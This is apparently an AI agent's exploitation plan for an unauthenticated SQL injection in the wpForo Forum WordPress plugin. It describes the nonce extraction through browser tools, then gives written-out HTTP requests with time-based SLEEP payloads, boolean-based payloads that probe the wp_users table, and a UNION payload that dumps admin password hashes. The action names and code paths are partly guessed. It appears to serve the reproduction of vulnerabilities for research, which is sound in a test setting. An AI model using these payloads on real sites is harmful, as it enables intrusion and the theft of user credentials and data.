Exploitation Research Plan: CVE-2025-13126 (wpForo Forum SQL Injection)

1. Vulnerability Summary

The wpForo Forum plugin (up to version 2.4.12) contains an unauthenticated SQL injection vulnerability. The flaw exists in how the plugin processes user-supplied arrays in the post_args and topic_args parameters, which are used to build database queries for retrieving forum posts and topics. Due to a lack of proper sanitization and the use of raw concatenation in SQL query construction (likely in the get_posts() or get_topics() methods), an attacker can inject malicious SQL commands to extract sensitive data.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Actions (inferred): wpforo_load_posts, wpforo_load_topics, or wpforo_get_posts.
• Vulnerable Parameters: post_args and topic_args.
• Authentication: Unauthenticated (the plugin registers wp_ajax_nopriv_ handlers for these actions to support public forum browsing and "Load More" functionality).
• Payload Type: Boolean-based or Time-based SQL Injection.

3. Code Flow

1. The request hits admin-ajax.php with the action parameter set to a wpForo loading action (e.g., wpforo_load_posts).
2. The handler (likely in wpforo/includes/classes/Posts.php or wpforo/includes/classes/Topics.php) retrieves the post_args or topic_args parameter from $_POST.
3. These arguments are passed to a query-building function (e.g., WPF()->post->get_posts( $args )).
4. Inside the query builder, specific keys within the $args array (such as orderby, order, or specific filtering keys) are concatenated into a raw SQL string without using $wpdb->prepare().
5. The resulting malicious SQL query is executed via $wpdb->get_results().

4. Nonce Acquisition Strategy

wpForo uses a global JavaScript object wpforo_vars to store its configuration and nonces.

1. Identify Page: The forum's main page or any page with a wpForo widget will contain the necessary scripts.
2. Shortcode: [wpforo]
3. Setup:
   • Create a page with the shortcode: wp post create --post_type=page --post_status=publish --post_title="Forum" --post_content='[wpforo]'
4. Extraction:
   • Navigate to the newly created page using browser_navigate.
   • Use browser_eval to extract the nonce:

     window.wpforo_vars?.nonce
     

   • The variable name is wp_nonce or nonce within the wpforo_vars object (verifiable in the localized script in the page source).

5. Exploitation Strategy

We will target the wpforo_load_posts action using a time-based sleep payload injected into the orderby key of the post_args array.

Step 1: Verification of Injection (Time-based)

Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=wpforo_load_posts&wpforo_nonce=[NONCE]&post_args[orderby]=id+DESC,(SELECT+1+FROM+(SELECT+SLEEP(5))A)

• Expected Response: The server should hang for approximately 5 seconds before returning a 200 OK.

Step 2: Data Extraction (Boolean-based)

If time-based works, we can use boolean-based logic to verify the database prefix or extract the admin password hash.
Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=wpforo_load_posts&wpforo_nonce=[NONCE]&post_args[orderby]=(CASE+WHEN+(SELECT+1+FROM+wp_users+WHERE+ID=1+AND+user_login='admin')+THEN+id+ELSE+title+END)+ASC

• Expected Response: If the condition is true, the posts will be ordered by id. If false, by title. By observing the order of items in the JSON response, we can infer the result of the boolean query.

6. Test Data Setup

1. Plugin Activation: Ensure wpforo is installed and activated.
2. Forum Content: Create at least one forum and one topic with multiple posts to ensure the wpforo_load_posts action has data to process and order.

   # Using wp-cli to create dummy content if possible, or via browser
   # Create a forum page for nonce extraction
   wp post create --post_type=page --post_status=publish --post_title="Forum" --post_content='[wpforo]'
   

7. Expected Results

• Success: The http_request tool reports a latency matching the SLEEP() value or a significant change in the response JSON structure (ordering) based on boolean logic.
• Data exposed: Ability to exfiltrate any data from the wp_users or wp_options tables.

8. Verification Steps

After the exploit, verify the vulnerability was triggered by checking the $wpdb logs if enabled, or by confirming that the payload successfully navigated the logic:

1. Check the response body of the wpforo_load_posts call.
2. Compare response times between a SLEEP(0) payload and a SLEEP(5) payload.

9. Alternative Approaches

• Topic Args: If post_args is filtered, try the wpforo_load_topics action with the topic_args parameter.
• Search Action: Check the wpforo_search action, which often uses similar query argument structures.
• UNION-based: If the query results are reflected directly in the AJAX response (common in wpForo), attempt a UNION SELECT to dump the user_pass column from wp_users directly into the post content field of the JSON response.
  • Payload example: post_args[orderby]=id UNION SELECT 1,2,user_pass,4,5... FROM wp_users-- - (Column count must be matched).